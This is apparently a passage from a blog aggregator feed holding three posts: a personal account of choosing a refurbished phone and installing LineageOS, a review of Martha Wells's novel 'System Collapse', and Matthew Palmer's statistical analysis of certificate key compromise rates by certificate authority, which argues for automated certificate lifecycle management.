I was using a refurbished Xiaomi Redmi 6 Pro (codename: sakura . I do remember buying this phone to run LineageOS as I found this model had support. But by the time I bought it (there was a quite a gap between my research and the actual purchase) lineageOS ended the suport for this device. The maintainer might ve ended this port, I don t blame them. Its a non rewarding work. Later I found there is a DotOS custom rom available. I did a week of test run. There seems lot of bugs and it all was minor and I can live with that. Since there is no other official port for redmi 6 pro at the time, I settled on this buggy DotOS nightly build. The phone was doing fine all these(3+) years, but recently the camera started showing greyish dots on some areas to a point that I can t even properly take a photo. The outer body of the phone wasn t original, as it was a refurbished, thus the colors started to peel off and wasn t aesthetically pleasing. Then there is the Location detection issue which took a while to figure out location and battery drains fast. I recently started mapping public transportation routes, and the GPS issue was a problem for me. With all these problems combined, I decided to buy a new phone. But choosing a phone wasn t easy. There are far too many options in the market. However, one thing I was quite sure of was that I wouldn t be buying a brand new phone, but a refurbished one. It is my protest against all these phone manufacturers who have convinced the general public that a mobile phone s lifespan is only 2 years. Of course, there are a few exceptions, but the majority of players in the Indian market are not. Now I think about it, I haven t bought any brand new computing device, be it phones or laptops since 2015. All are refurbished devices except for an Orange pi. My Samsung R439 laptop which I already blogged about is still going strong. Back to picking phone. So I began by comparing LineageOS website to an online refurbished store to pick a phone that has an official lineage support then to reddit search for any reported hardware failures Google Pixel phones are well-known in the custom ROM community for ease of installation, good hardware and Android security releases. My above claims are from privacyguides.org and XDA-developers. I was convinced to go with this choice. But I have some one at home who is at the age of throwing things. So I didn t want to risk buying an expensive Pixel phone only to have it end up with a broken screen and edges. Perhaps I will consider buying a Pixel next time. After doing some more research and cross comparison I landed up on Redmi note 9. Codename: merlinx. Based on my previous experience I knew it is going to be a pain to unlock the bootloader of Xiaomi phones and I was prepared for that but this time there was an extra hoop. The phone came with ROM MIUI version 13. A small search on XDA forums and reddit told unless we downgrade to 12 or so it is difficult to unlock bootloader for this device. And performing this wasn t exactly easy as we need tools like SP Flash etc. It took some time, but I ve completed the downgrade process. From there, the rest was cakewalk as everything was perfectly documented in LineageOS wiki. And ta-da, I have a phone running lineageOS. I been using it for some time and honestly I haven t come across any bug in my way of usage. One advice I will give to you if you are going to flash a custom ROM. There are plenty of videos about unlocking bootloader, installing ROMs in Youtube. Please REFRAIN from watching and experimenting it on your phone unless you figured a way to un brick your device first.

1 February 2024

Russ Allbery: Review: System Collapse

Review: System Collapse, by Martha Wells
Series: Murderbot Diaries #7
Publisher: Tordotcom
Copyright: 2023
ISBN: 1-250-82698-5
Format: Kindle
Pages: 245
System Collapse is the second Murderbot novel. Including the novellas, it's the 7th in the series. Unlike Fugitive Telemetry, the previous novella that was out of chronological order, this is the direct sequel to Network Effect. A very direct sequel; it picks up just a few days after the previous novel ended. Needless to say, you should not start here. I was warned by other people and therefore re-read Network Effect immediately before reading System Collapse. That was an excellent idea, since this novel opens with a large cast, no dramatis personae, not much in the way of a plot summary, and a lot of emotional continuity from the previous novel. I would grumble about this more, like I have in other reviews, but I thoroughly enjoyed re-reading Network Effect and appreciated the excuse.
ART-drone said, I wouldn t recommend it. I lack a sense of proportional response. I don t advise engaging with me on any level.
Saying much about the plot of this book without spoiling Network Effect and the rest of the series is challenging. Murderbot is suffering from the aftereffects of the events of the previous book more than it expected or would like to admit. It and its humans are in the middle of a complicated multi-way negotiation with some locals, who the corporates are trying to exploit. One of the difficulties in that negotiation is getting people to believe that the corporations are as evil as they actually are, a plot element that has a depressing amount in common with current politics. Meanwhile, Murderbot is trying to keep everyone alive. I loved Network Effect, but that was primarily for the social dynamics. The planet that was central to the novel was less interesting, so another (short) novel about the same planet was a bit of a disappointment. This does give Wells a chance to show in more detail what Murderbot's new allies have been up to, but there is a lot of speculative exploration and detailed descriptions of underground tunnels that I found less compelling than the relationship dynamics of the previous book. (Murderbot, on the other hand, would much prefer exploring creepy abandoned tunnels to talking about its feelings.) One of the things this series continues to do incredibly well, though, is take non-human intelligence seriously in a world where the humans mostly don't. It perfectly fills a gap between Star Wars, where neither the humans nor the story take non-human intelligences seriously (hence the creepy slavery vibes as soon as you start paying attention to droids), and the Culture, where both humans and the story do. The corporates (the bad guys in this series) treat non-human intelligences the way Star Wars treats droids. The good guys treat Murderbot mostly like a strange human, which is better but still wrong, and still don't notice the numerous other machine intelligences. But Wells, as the author, takes all of the non-human characters seriously, which means there are complex and fascinating relationships happening at a level of the story that the human characters are mostly unaware of. I love that Murderbot rarely bothers to explain; if the humans are too blinkered to notice, that's their problem. About halfway into the story, System Collapse hits its stride, not coincidentally at the point where Murderbot befriends some new computers. The rest of the book is great. This was not as good as Network Effect. There is a bit less competence porn at the start, and although that's for good in-story reasons I still missed it. Murderbot's redaction of things it doesn't want to talk about got a bit annoying before it finally resolved. And I was not sufficiently interested in this planet to want to spend two novels on it, at least without another major revelation that didn't come. But it's still a Murderbot novel, which means it has the best first-person narrative voice I've ever read, some great moments, and possibly the most compelling and varied presentation of computer intelligence in science fiction at the moment.
There was no feed ID, but AdaCol2 supplied the name Lucia and when I asked it for more info, the gender signifier bb (which didn t translate) and he/him pronouns. (I asked because the humans would bug me for the information; I was as indifferent to human gender as it was possible to be without being unconscious.)
This is not a series to read out of order, but if you have read this far, you will continue to be entertained. You don't need me to tell you this nearly everyone reviewing science fiction is saying it but this series is great and you should read it. Rating: 8 out of 10

30 January 2024

Matthew Palmer: Why Certificate Lifecycle Automation Matters

If you ve perused the ActivityPub feed of certificates whose keys are known to be compromised, and clicked on the Show More button to see the name of the certificate issuer, you may have noticed that some issuers seem to come up again and again. This might make sense after all, if a CA is issuing a large volume of certificates, they ll be seen more often in a list of compromised certificates. In an attempt to see if there is anything that we can learn from this data, though, I did a bit of digging, and came up with some illuminating results.

The Procedure I started off by finding all the unexpired certificates logged in Certificate Transparency (CT) logs that have a key that is in the pwnedkeys database as having been publicly disclosed. From this list of certificates, I removed duplicates by matching up issuer/serial number tuples, and then reduced the set by counting the number of unique certificates by their issuer. This gave me a list of the issuers of these certificates, which looks a bit like this:
/C=BE/O=GlobalSign nv-sa/CN=AlphaSSL CA - SHA256 - G4
/C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Domain Validation Secure Server CA
/C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Organization Validation Secure Server CA
/C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, Inc./OU=http://certs.godaddy.com/repository//CN=Go Daddy Secure Certificate Authority - G2
/C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./OU=http://certs.starfieldtech.com/repository//CN=Starfield Secure Certificate Authority - G2
/C=AT/O=ZeroSSL/CN=ZeroSSL RSA Domain Secure Site CA
/C=BE/O=GlobalSign nv-sa/CN=GlobalSign GCC R3 DV TLS CA 2020
Rather than try to work with raw issuers (because, as Andrew Ayer says, The SSL Certificate Issuer Field is a Lie), I mapped these issuers to the organisations that manage them, and summed the counts for those grouped issuers together.

The Data
Lieutenant Commander Data from Star Trek: The Next Generation Insert obligatory "not THAT data" comment here
The end result of this work is the following table, sorted by the count of certificates which have been compromised by exposing their private key:
IssuerCompromised Count
Sectigo170
ISRG (Let's Encrypt)161
GoDaddy141
DigiCert81
GlobalSign46
Entrust3
SSL.com1
If you re familiar with the CA ecosystem, you ll probably recognise that the organisations with large numbers of compromised certificates are also those who issue a lot of certificates. So far, nothing particularly surprising, then. Let s look more closely at the relationships, though, to see if we can get more useful insights.

Volume Control Using the issuance volume report from crt.sh, we can compare issuance volumes to compromise counts, to come up with a compromise rate . I m using the Unexpired Precertificates colume from the issuance volume report, as I feel that s the number that best matches the certificate population I m examining to find compromised certificates. To maintain parity with the previous table, this one is still sorted by the count of certificates that have been compromised.
IssuerIssuance VolumeCompromised CountCompromise Rate
Sectigo88,323,0681701 in 519,547
ISRG (Let's Encrypt)315,476,4021611 in 1,959,480
GoDaddy56,121,4291411 in 398,024
DigiCert144,713,475811 in 1,786,586
GlobalSign1,438,485461 in 31,271
Entrust23,16631 in 7,722
SSL.com171,81611 in 171,816
If we now sort this table by compromise rate, we can see which organisations have the most (and least) leakiness going on from their customers:
IssuerIssuance VolumeCompromised CountCompromise Rate
Entrust23,16631 in 7,722
GlobalSign1,438,485461 in 31,271
SSL.com171,81611 in 171,816
GoDaddy56,121,4291411 in 398,024
Sectigo88,323,0681701 in 519,547
DigiCert144,713,475811 in 1,786,586
ISRG (Let's Encrypt)315,476,4021611 in 1,959,480
By grouping by order-of-magnitude in the compromise rate, we can identify three bands :
  • The Super Leakers: Customers of Entrust and GlobalSign seem to love to lose control of their private keys. For Entrust, at least, though, the small volumes involved make the numbers somewhat untrustworthy. The three compromised certificates could very well belong to just one customer, for instance. I m not aware of anything that GlobalSign does that would make them such an outlier, either, so I m inclined to think they just got unlucky with one or two customers, but as CAs don t include customer IDs in the certificates they issue, it s not possible to say whether that s the actual cause or not.
  • The Regular Leakers: Customers of SSL.com, GoDaddy, and Sectigo all have compromise rates in the 1-in-hundreds-of-thousands range. Again, the low volumes of SSL.com make the numbers somewhat unreliable, but the other two organisations in this group have large enough numbers that we can rely on that data fairly well, I think.
  • The Low Leakers: Customers of DigiCert and Let s Encrypt are at least three times less likely than customers of the regular leakers to lose control of their private keys. Good for them!
Now we have some useful insights we can think about.

Why Is It So?
Professor Julius Sumner Miller If you don't know who Professor Julius Sumner Miller is, I highly recommend finding out
All of the organisations on the list, with the exception of Let s Encrypt, are what one might term traditional CAs. To a first approximation, it s reasonable to assume that the vast majority of the customers of these traditional CAs probably manage their certificates the same way they have for the past two decades or more. That is, they generate a key and CSR, upload the CSR to the CA to get a certificate, then copy the cert and key somewhere. Since humans are handling the keys, there s a higher risk of the humans using either risky practices, or making a mistake, and exposing the private key to the world. Let s Encrypt, on the other hand, issues all of its certificates using the ACME (Automatic Certificate Management Environment) protocol, and all of the Let s Encrypt documentation encourages the use of software tools to generate keys, issue certificates, and install them for use. Given that Let s Encrypt has 161 compromised certificates currently in the wild, it s clear that the automation in use is far from perfect, but the significantly lower compromise rate suggests to me that lifecycle automation at least reduces the rate of key compromise, even though it doesn t eliminate it completely.

Explaining the Outlier The difference in presumed issuance practices would seem to explain the significant difference in compromise rates between Let s Encrypt and the other organisations, if it weren t for one outlier. This is a largely traditional CA, with the manual-handling issues that implies, but with a compromise rate close to that of Let s Encrypt. We are, of course, talking about DigiCert. The thing about DigiCert, that doesn t show up in the raw numbers from crt.sh, is that DigiCert manages the issuance of certificates for several of the biggest hosted TLS providers, such as CloudFlare and AWS. When these services obtain a certificate from DigiCert on their customer s behalf, the private key is kept locked away, and no human can (we hope) get access to the private key. This is supported by the fact that no certificates identifiably issued to either CloudFlare or AWS appear in the set of certificates with compromised keys. When we ask for all certificates issued by DigiCert , we get both the certificates issued to these big providers, which are very good at keeping their keys under control, as well as the certificates issued to everyone else, whose key handling practices may not be quite so stringent. It s possible, though not trivial, to account for certificates issued to these hosted TLS providers, because the certificates they use are issued from intermediates branded to those companies. With the crt.sh psql interface we can run this query to get the total number of unexpired precertificates issued to these managed services:
SELECT SUM(sub.NUM_ISSUED[2] - sub.NUM_EXPIRED[2])
  FROM (
    SELECT ca.name, max(coalesce(coalesce(nullif(trim(cc.SUBORDINATE_CA_OWNER), ''), nullif(trim(cc.CA_OWNER), '')), cc.INCLUDED_CERTIFICATE_OWNER)) as OWNER,
           ca.NUM_ISSUED, ca.NUM_EXPIRED
      FROM ccadb_certificate cc, ca_certificate cac, ca
     WHERE cc.CERTIFICATE_ID = cac.CERTIFICATE_ID
       AND cac.CA_ID = ca.ID
  GROUP BY ca.ID
  ) sub
 WHERE sub.name ILIKE '%Amazon%' OR sub.name ILIKE '%CloudFlare%' AND sub.owner = 'DigiCert';
The number I get from running that query is 104,316,112, which should be subtracted from DigiCert s total issuance figures to get a more accurate view of what DigiCert s regular customers do with their private keys. When I do this, the compromise rates table, sorted by the compromise rate, looks like this:
IssuerIssuance VolumeCompromised CountCompromise Rate
Entrust23,16631 in 7,722
GlobalSign1,438,485461 in 31,271
SSL.com171,81611 in 171,816
GoDaddy56,121,4291411 in 398,024
"Regular" DigiCert40,397,363811 in 498,732
Sectigo88,323,0681701 in 519,547
All DigiCert144,713,475811 in 1,786,586
ISRG (Let's Encrypt)315,476,4021611 in 1,959,480
In short, it appears that DigiCert s regular customers are just as likely as GoDaddy or Sectigo customers to expose their private keys.

What Does It All Mean? The takeaway from all this is fairly straightforward, and not overly surprising, I believe.

The less humans have to do with certificate issuance, the less likely they are to compromise that certificate by exposing the private key. While it may not be surprising, it is nice to have some empirical evidence to back up the common wisdom. Fully-managed TLS providers, such as CloudFlare, AWS Certificate Manager, and whatever Azure s thing is called, is the platonic ideal of this principle: never give humans any opportunity to expose a private key. I m not saying you should use one of these providers, but the security approach they have adopted appears to be the optimal one, and should be emulated universally. The ACME protocol is the next best, in that there are a variety of standardised tools widely available that allow humans to take themselves out of the loop, but it s still possible for humans to handle (and mistakenly expose) key material if they try hard enough. Legacy issuance methods, which either cannot be automated, or require custom, per-provider automation to be developed, appear to be at least four times less helpful to the goal of avoiding compromise of the private key associated with a certificate.

Humans Are, Of Course, The Problem
Bender, the robot from Futurama, asking if we'd like to kill all humans No thanks, Bender, I'm busy tonight
This observation that if you don t let humans near keys, they don t get leaked is further supported by considering the biggest issuers by volume who have not issued any certificates whose keys have been compromised: Google Trust Services (fourth largest issuer overall, with 57,084,529 unexpired precertificates), and Microsoft Corporation (sixth largest issuer overall, with 22,852,468 unexpired precertificates). It appears that somewhere between most and basically all of the certificates these organisations issue are to customers of their public clouds, and my understanding is that the keys for these certificates are managed in same manner as CloudFlare and AWS the keys are locked away where humans can t get to them. It should, of course, go without saying that if a human can never have access to a private key, it makes it rather difficult for a human to expose it. More broadly, if you are building something that handles sensitive or secret data, the more you can do to keep humans out of the loop, the better everything will be.

Your Support is Appreciated If you d like to see more analysis of how key compromise happens, and the lessons we can learn from examining billions of certificates, please show your support by buying me a refreshing beverage. Trawling CT logs is thirsty work.

Appendix: Methodology Limitations In the interests of clarity, I feel it s important to describe ways in which my research might be flawed. Here are the things I know of that may have impacted the accuracy, that I couldn t feasibly account for.
  • Time Periods: Because time never stops, there is likely to be some slight mismatches in the numbers obtained from the various data sources, because they weren t collected at exactly the same moment.
  • Issuer-to-Organisation Mapping: It s possible that the way I mapped issuers to organisations doesn t match exactly with how crt.sh does it, meaning that counts might be skewed. I tried to minimise that by using the same data sources (the CCADB AllCertificates report) that I believe that crt.sh uses for its mapping, but I cannot be certain of a perfect match.
  • Unwarranted Grouping: I ve drawn some conclusions about the practices of the various organisations based on their general approach to certificate issuance. If a particular subordinate CA that I ve grouped into the parent organisation is managed in some unusual way, that might cause my conclusions to be erroneous. I was able to fairly easily separate out CloudFlare, AWS, and Azure, but there are almost certainly others that I didn t spot, because hoo boy there are a lot of intermediate CAs out there.

Next.